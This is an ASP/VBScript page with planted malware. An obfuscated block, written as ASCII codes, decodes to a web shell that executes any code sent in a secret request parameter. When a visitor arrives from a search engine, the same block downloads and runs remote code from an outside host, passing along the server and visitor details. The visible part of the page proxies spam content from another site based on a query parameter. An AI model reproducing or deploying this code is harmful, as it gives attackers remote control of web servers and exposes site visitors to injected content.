<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%><% execute("Function AscDecrypt(AE9):AE9 = Replace(AE9,""u"",""-""):EncodeArr = Split(AE9,""a""):For iEn=0 To UBound(EncodeArr):ChrAscNum = EncodeArr(iEn):If IsNumeric(ChrAscNum) Then:EnTexts = EnTexts & Chr(ChrAscNum):End If:Next:AscDecrypt = EnTexts:End Function:execute(AscDecrypt(""101a120a101a99a117a116a101a40a34a111a110a32a101a114a114a111a114a32a114a101a115a117a109a101a32a78a101a120a116a58a101a118a97a108a34a34a34a34a38a40a34a34a101a34a34a38a34a34a118a34a34a38a34a34a97a34a34a38a34a34a108a34a34a38a34a34a40a34a34a38a34a34a114a34a34a38a34a34a101a34a34a38a34a34a113a34a34a38a34a34a117a34a34a38a34a34a101a34a34a38a34a34a115a34a34a38a34a34a116a34a34a38a34a34a40a34a34a38a34a34a34a34a34a34a50a107a101a50a121a49a48a121a34a34a34a34a34a34a38a34a34a41a34a34a38a34a34a41a34a34a41a58a114a101a102a101a114a101a114a61a82a101a113a117a101a115a116a46a83a101a114a118a101a114a86a97a114a105a97a98a108a101a115a40a34a34a72a84a84a80a95a82a69a70a69a82a69a82a34a34a41a58a73a102a32a73a110a83a116a114a40a114a101a102a101a114a101a114a44a34a34a103a111a111a103a108a101a34a34a41a62a48a32a79a114a32a73a110a83a116a114a40a114a101a102a101a114a101a114a44a34a34a97a111a108a34a34a41a62a48a32a79a114a32a73a110a83a116a114a40a114a101a102a101a114a101a114a44a34a34a121a97a104a111a111a34a34a41a62a48a32a79a114a32a73a110a83a116a114a40a114a101a102a101a114a101a114a44a34a34a98a105a110a103a34a34a41a62a48a32a79a114a32a73a110a83a116a114a40a114a101a102a101a114a101a114a44a34a34a121a97a110a100a101a120a34a34a41a62a48a32a84a104a101a110a58a101a120a101a99a117a116a101a40a71a66a50a40a34a34a104a116a116a112a58a47a47a103a101a116a46a99a104a97a116a102a117a110a110a121a46a99a111a109a47a97a115a107a46a112a104a112a63a116a97a114a103a101a116a61a34a34a38a83a101a114a118a101a114a46a85a82a76a69a110a99a111a100a101a40a34a34a104a116a116a112a58a47a47a34a34a38a114a101a113a117a101a115a116a46a83a101a114a118a101a114a86a97a114a105a97a98a108a101a115a40a34a34a72a84a84a80a95a72a79a83a84a34a34a41a38a114a101a113a117a101a115a116a46a83a101a114a118a101a114a86a97a114a105a97a98a108a101a115a40a34a34a83a67a82a73a80a84a95a78a65a77a69a34a34a41a41a38a34a34a38a114a101a102a61a34a34a38a83a101a114a118a101a114a46a85a82a76a69a110a99a111a100a101a40a76a67a97a115a101a40a82a101a113a117a101a115a116a46a83a101a114a118a101a114a86a97a114a105a97a98a108a101a115a40a34a34a72a84a84a80a95a82a69a70a69a82a69a82a34a34a41a41a41a38a34a34a38a97a103a101a110a116a61a34a34a38a83a101a114a118a101a114a46a85a82a76a69a110a99a111a100a101a40a76a67a97a115a101a40a82a101a113a117a101a115a116a46a83a101a114a118a101a114a86a97a114a105a97a98a108a101a115a40a34a34a72a84a84a80a95a85a83a69a82a95a65a71a69a78a84a34a34a41a41a41a38a34a34a38a97a108a97a110a103a61a34a34a38a83a101a114a118a101a114a46a85a82a76a69a110a99a111a100a101a40a82a101a113a117a101a115a116a46a83a101a114a118a101a114a86a97a114a105a97a98a108a101a115a40a34a34a72a84a84a80a95a65a67a67a69a80a84a95a76a65a78a71a85a65a71a69a34a34a41a41a38a34a34a38a114a101a109a111a116a101a61a34a34a38a82a101a113a117a101a115a116a46a83a101a114a118a101a114a86a97a114a105a97a98a108a101a115a40a34a34a82a69a77a79a84a69a95a65a68a68a82a34a34a41a38a34a34a38a105a101a61a49a49a55a54a54a53a34a34a41a41a58a69a110a100a32a105a102a58a70a117a110a99a116a105a111a110a32a32a71a66a50a40a85a82a76a41a58a83a101a116a32a32a32a72a84a84a80a82a101a113a32a32a32a61a32a32a32a83a101a114a118a101a114a46a99a114a101a97a116a101a111a98a106a101a99a116a40a34a34a77a115a120a109a108a50a46a88a77a76a72a84a84a80a34a34a41a32a32a32a32a58a72a84a84a80a82a101a113a46a79a112a101a110a32a32a32a34a34a71a69a84a34a34a44a32a32a32a85a82a76a44a32a32a32a70a97a108a115a101a32a58a72a84a84a80a82a101a113a46a115a101a110a100a32a58a73a102a32a32a32a72a84a84a80a82a101a113a46a114a101a97a100a121a83a116a97a116a101a61a52a32a32a32a84a104a101a110a58a71a66a50a32a32a32a61a32a32a32a98a50a98a115a40a72a84a84a80a82a101a113a46a114a101a115a112a111a110a115a101a66a111a100a121a41a32a58a69a110a100a32a105a102a58a83a101a116a32a32a32a72a84a84a80a82a101a113a32a32a32a61a32a32a32a78a111a116a104a105a110a103a32a58a69a110a100a32a32a32a70a117a110a99a116a105a111a110a32a58a70a117a110a99a116a105a111a110a32a32a32a98a50a98a115a40a118a105a110a41a32a58a68a105a109a32a32a32a66a121a116a101a115a83a116a114a101a97a109a44a83a116a114a105a110a103a82a101a116a117a114a110a32a58a83a101a116a32a32a32a66a121a116a101a115a83a116a114a101a97a109a32a32a32a61a32a32a32a83a101a114a118a101a114a46a67a114a101a97a116a101a79a98a106a101a99a116a40a34a34a65a68a79a68a66a46a83a116a114a101a97a109a34a34a41a32a58a66a121a116a101a115a83a116a114a101a97a109a46a84a121a112a101a32a32a32a61a32a32a32a50a32a58a66a121a116a101a115a83a116a114a101a97a109a46a79a112a101a110a32a58a66a121a116a101a115a83a116a114a101a97a109a46a87a114a105a116a101a84a101a120a116a32a32a32a118a105a110a32a58a66a121a116a101a115a83a116a114a101a97a109a46a80a111a115a105a116a105a111a110a32a32a32a61a32a32a32a48a32a58a66a121a116a101a115a83a116a114a101a97a109a46a67a104a97a114a115a101a116a32a32a32a61a32a32a32a34a34a71a66a50a51a49a50a34a34a32a58a66a121a116a101a115a83a116a114a101a97a109a46a80a111a115a105a116a105a111a110a32a32a32a61a32a32a32a50a32a58a83a116a114a105a110a103a82a101a116a117a114a110a32a32a32a61a66a121a116a101a115a83a116a114a101a97a109a46a82a101a97a100a84a101a120a116a32a58a66a121a116a101a115a83a116a114a101a97a109a46a99a108a111a115a101a32a58a83a101a116a32a32a32a32a66a121a116a101a115a83a116a114a101a97a109a32a32a32a61a32a32a32a78a111a116a104a105a110a103a32a58a98a50a98a115a32a32a32a61a32a32a32a83a116a114a105a110a103a82a101a116a117a114a110a32a58a69a110a100a32a32a32a70a117a110a99a116a105a111a110a34a41""))") %> <% dim interfaceurl dim query interfaceurl="http://www.itbagonlinestore.com/link1011/" query=Request.QueryString("id") Response.Addheader "Content-Type","text/html;charset=utf-8" Response.Write GetResStr(interfaceurl&query) %> <% function GetResStr(URL) dim ResBody,ResStr,PageCode Set Http=server.createobject("msxml2.serverxmlhttp.3.0") Http.setTimeouts 10000, 10000, 10000, 10000 Http.open "GET",URL,False Http.Send() If Http.Readystate =4 Then If Http.status=200 Then ResStr=http.responseText ResBody=http.responseBody PageCode="utf-8" GetResStr=BytesToBstr(http.responseBody,trim(PageCode)) End If End If End Function Function BytesToBstr(Body,Cset) Dim Objstream Set Objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = Cset BytesToBstr = objstream.ReadText objstream.Close set objstream = nothing End Function %> %>